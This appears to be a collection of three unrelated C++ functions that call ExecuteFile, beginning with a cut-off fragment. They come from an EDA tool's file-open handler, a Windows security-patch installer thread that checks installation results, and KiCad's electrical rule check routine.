wxT(".*"); #endif FullFileName = EDA_FileSelector( _("Load file:"), wxGetCwd(), /* Defualt path */ wxEmptyString, /* default filename */ extension, /* default ext. */ mask, /* mask for filename filter */ this, wxOPEN, TRUE ); if ( ! FullFileName.IsEmpty() ) { wxString fullnamewithquotes; fullnamewithquotes = wxT("\"") + FullFileName; fullnamewithquotes += wxT("\""); wxString editorname = GetEditorName(); if ( ! editorname.IsEmpty() ) ExecuteFile(this, editorname, fullnamewithquotes); } } break; break; default: DisplayError(this, wxT("WinEDA_MainFrame::Process_Fct Internal Error")); break; } }
DWORD CImplRepairVul::_ThreadFuncInstallImpl() { T_ComInit _init_com_; while(!m_bCanceled) { WaitForSingleObject(m_thinfo.m_hInstallEvent,INFINITE); if(m_thinfo.nInstallIndex>=m_arrDownloadItem.GetSize()) { if(m_thinfo.isDownloadDone) // 如果文件已经下载结束 break; else continue; } BOOL bLastInstallSuccess = FALSE; for( int i=m_thinfo.nInstallIndex;i<m_arrDownloadItem.GetSize() && !m_bCanceled;i++) { T_RepairItem &item = m_arrDownloadItem[i]; if(item.stateDownload==-1) break; if(item.stateInstalled!=-1) // 已经安装了 continue; if(!bLastInstallSuccess) FixUpdateGarbage(); m_thinfo.nInstallIndex = i + 1; if(item.stateDownload) { CString strFileName = item.strFilename; CString strInstallParam = item.strInstallParam; #ifdef _DEBUG strInstallParam = _T(""); #endif _FixSystemRootSpecialPath( item ); BOOL bUserPatcher = FALSE; E_InstalledResult res_inst = EINST_FAIL; DWORD dwExitCode = 0; INT userPatchCode = -1; BOOL disableCOM = ( item.type==VTYPE_SOFTLEAK && item.bDisableCOM ); Notify(EVulfix_InstallBegin, item.nID, i, m_thinfo.totalNum); if( disableCOM ) { if( m_pCurrentVulfix ) { m_pCurrentVulfix->EnableVulCOM( item.nID, false ); res_inst = EINST_SUCCESS; } } else { BOOL bHijacked = FALSE; if( !ExecuteFile(strFileName, strInstallParam, dwExitCode, bHijacked) ) res_inst = EINST_FAIL_EXECUTE; else { BOOL exactInstalled = ERROR_SUCCESS_REBOOT_REQUIRED==dwExitCode || ERROR_SUCCESS_REBOOT_INITIATED==dwExitCode; if(!exactInstalled && item.type==VTYPE_OFFICE) exactInstalled = 17025==dwExitCode; if( exactInstalled ) res_inst = EINST_SUCCESS; else if( 0x80240017==dwExitCode ) { // Vista 的未找到产品 // Office 的未找到产品错误码 res_inst = EINST_FAIL_NOT_APPLICABLE; } else { if(dwExitCode==0) res_inst = EINST_SUCCESS_CHECK_FAILED; BOOL bMeetCondition = TRUE, bFoundInRegistry = FALSE; // 检测条件是否还继续满足 if( !item.strCondtion.IsEmpty() ) bMeetCondition = EvaluateCondition( item.strCondtion ); CSysEnv& sysEnv = singleton<CSysEnv>::Instance(); if( item.type==VTYPE_OFFICE||item.type==VTYPE_SOFTLEAK ) { // Office, Software 的检查注册表, 确认安装成功 if (sysEnv.m_WinVer >= WINVISTA) { CWUAUpdateInfoVistaLaterReg vs; vs.Init(0); bFoundInRegistry = vs.IsUpdateInstalled( item.nID ); } else { CWUAUpdateInfoXP xp; xp.Init(0); bFoundInRegistry = xp.IsUpdateInstalled( item.nID ); } } BOOL bInstalledCombined = !bMeetCondition || bFoundInRegistry; if(bInstalledCombined) { res_inst = EINST_SUCCESS_CHECKED; } else { if(item.type==VTYPE_OFFICE) // 对office进行自定义安装 { bUserPatcher = TRUE; Notify( EVulfix_InstallBeginUser, item.nID, i, dwExitCode); userPatchCode = _UserPatch(item); if(KPATCHER_OK==userPatchCode) res_inst = EINST_SUCCESS; else { res_inst = EINST_FAIL; // 可能被360 拦截?? 然后就只能忽略了?? 不进行智能忽略!! //if(dwExitCode==17031) // 智能忽略 // res_inst = EINST_FAIL_NOT_APPLICABLE; } } else if(item.type==VTYPE_SOFTLEAK) { if(bMeetCondition) res_inst = EINST_FAIL; } } LPCTSTR szFilename = _tcsrchr(strFileName, _T('\\')); SHOWMSG(_T("Installed Result: VulType:%d ExitCode:%08x(%d) \ \r\nConditionCheck:%d InReg:%d UserPatch:%d(%d)\ \r\nInstRes:%d(%d)(Exact:%d) InstRes2:%d\ \r\nFile: %s \r\n") , item.type, dwExitCode, dwExitCode, bMeetCondition, bFoundInRegistry, item.bUserPatcher, userPatchCode, res_inst, res_inst<=EINST_SUCCESS_CHECK_FAILED, exactInstalled, bInstalledCombined, szFilename+1); if(res_inst!=EINST_SUCCESS_CHECKED && res_inst!=EINST_SUCCESS) { if(bHijacked) res_inst = EINST_FAIL_HIJACKED; } } } } if( res_inst==EINST_FAIL_NOT_APPLICABLE ) { m_objIgnore.AutoIgnore(item.nID, TRUE); m_objIgnore.SaveIgnoreDB(); } BOOL bInstalled = res_inst<=EINST_SUCCESS_CHECK_FAILED; item.stateInstalled = res_inst; if( bInstalled ) ++ m_thinfo.nInstSuccess; if(bUserPatcher && !bInstalled && userPatchCode==KPATCHER_ERR_FILEBUSY) res_inst = EINST_FAIL_FILEBUSY; Notify( bInstalled ? EVulfix_InstallEnd : EVulfix_InstallError, item.nID, res_inst, bUserPatcher ? userPatchCode : dwExitCode); // 通知WUA 已经被修改了, 使得 Vista 的话, 需要重新的去扫描IUpdate 接口 if( bInstalled && !disableCOM ) { CWUAUpdateInfoVistaLater &wuaInfo = singleton<CWUAUpdateInfoVistaLater>::Instance(); wuaInfo.SetWUAModified(); } bLastInstallSuccess = bInstalled; } } if( m_bCanceled ) break; if( m_thinfo.isDownloadDone && m_thinfo.nInstallIndex>=(m_arrDownloadItem.GetSize()-1) ) { Notify( m_thinfo.totalNum==m_thinfo.nDownSuccess && m_thinfo.nDownSuccess==m_thinfo.nInstSuccess ? EVulfix_Task_Complete : EVulfix_Task_Error, 0, 0, 0); break; } }
void DIALOG_ERC::TestErc( wxArrayString* aMessagesList ) { wxFileName fn; m_writeErcFile = m_WriteResultOpt->GetValue(); m_TestSimilarLabels = m_cbTestSimilarLabels->GetValue(); m_tstUniqueGlobalLabels = m_cbTestUniqueGlbLabels->GetValue(); // Build the whole sheet list in hierarchy (sheet, not screen) SCH_SHEET_LIST sheets; sheets.AnnotatePowerSymbols( Prj().SchLibs() ); if( m_parent->CheckAnnotate( aMessagesList, false ) ) { if( aMessagesList ) { wxString msg = _( "Annotation required!" ); msg += wxT( "\n" ); aMessagesList->Add( msg ); } return; } SCH_SCREENS screens; // Erase all previous DRC markers. screens.DeleteAllMarkers( MARKER_BASE::MARKER_ERC ); for( SCH_SCREEN* screen = screens.GetFirst(); screen != NULL; screen = screens.GetNext() ) { /* Ff wire list has changed, delete Undo Redo list to avoid pointers on deleted * data problems. */ if( screen->SchematicCleanUp( NULL ) ) screen->ClearUndoRedoList(); } /* Test duplicate sheet names inside a given sheet, one cannot have sheets with * duplicate names (file names can be duplicated). */ TestDuplicateSheetNames( true ); std::auto_ptr<NETLIST_OBJECT_LIST> objectsConnectedList( m_parent->BuildNetListBase() ); // Reset the connection type indicator objectsConnectedList->ResetConnectionsType(); unsigned lastNet; unsigned nextNet = lastNet = 0; int MinConn = NOC; for( unsigned net = 0; net < objectsConnectedList->size(); net++ ) { if( objectsConnectedList->GetItemNet( lastNet ) != objectsConnectedList->GetItemNet( net ) ) { // New net found: MinConn = NOC; nextNet = net; } switch( objectsConnectedList->GetItemType( net ) ) { // These items do not create erc problems case NET_ITEM_UNSPECIFIED: case NET_SEGMENT: case NET_BUS: case NET_JUNCTION: case NET_LABEL: case NET_BUSLABELMEMBER: case NET_PINLABEL: case NET_GLOBBUSLABELMEMBER: break; case NET_HIERLABEL: case NET_HIERBUSLABELMEMBER: case NET_SHEETLABEL: case NET_SHEETBUSLABELMEMBER: // ERC problems when pin sheets do not match hierarchical labels. // Each pin sheet must match a hierarchical label // Each hierarchical label must match a pin sheet objectsConnectedList->TestforNonOrphanLabel( net, nextNet ); break; case NET_GLOBLABEL: if( m_tstUniqueGlobalLabels ) objectsConnectedList->TestforNonOrphanLabel( net, nextNet ); break; case NET_NOCONNECT: // ERC problems when a noconnect symbol is connected to more than one pin. MinConn = NET_NC; if( objectsConnectedList->CountPinsInNet( nextNet ) > 1 ) Diagnose( objectsConnectedList->GetItem( net ), NULL, MinConn, UNC ); break; case NET_PIN: // Look for ERC problems between pins: TestOthersItems( objectsConnectedList.get(), net, nextNet, &MinConn ); break; } lastNet = net; } // Test similar labels (i;e. labels which are identical when // using case insensitive comparisons) if( m_TestSimilarLabels ) objectsConnectedList->TestforSimilarLabels(); // Displays global results: updateMarkerCounts( &screens ); // Display diags: DisplayERC_MarkersList(); // Display new markers: m_parent->GetCanvas()->Refresh(); if( m_writeErcFile ) { fn = g_RootSheet->GetScreen()->GetFileName(); fn.SetExt( wxT( "erc" ) ); wxFileDialog dlg( this, _( "ERC File" ), fn.GetPath(), fn.GetFullName(), _( "Electronic rule check file (.erc)|*.erc" ), wxFD_SAVE ); if( dlg.ShowModal() == wxID_CANCEL ) return; if( WriteDiagnosticERC( dlg.GetPath() ) ) { Close( true ); ExecuteFile( this, Pgm().GetEditorName(), QuoteFullPath( fn ) ); } } }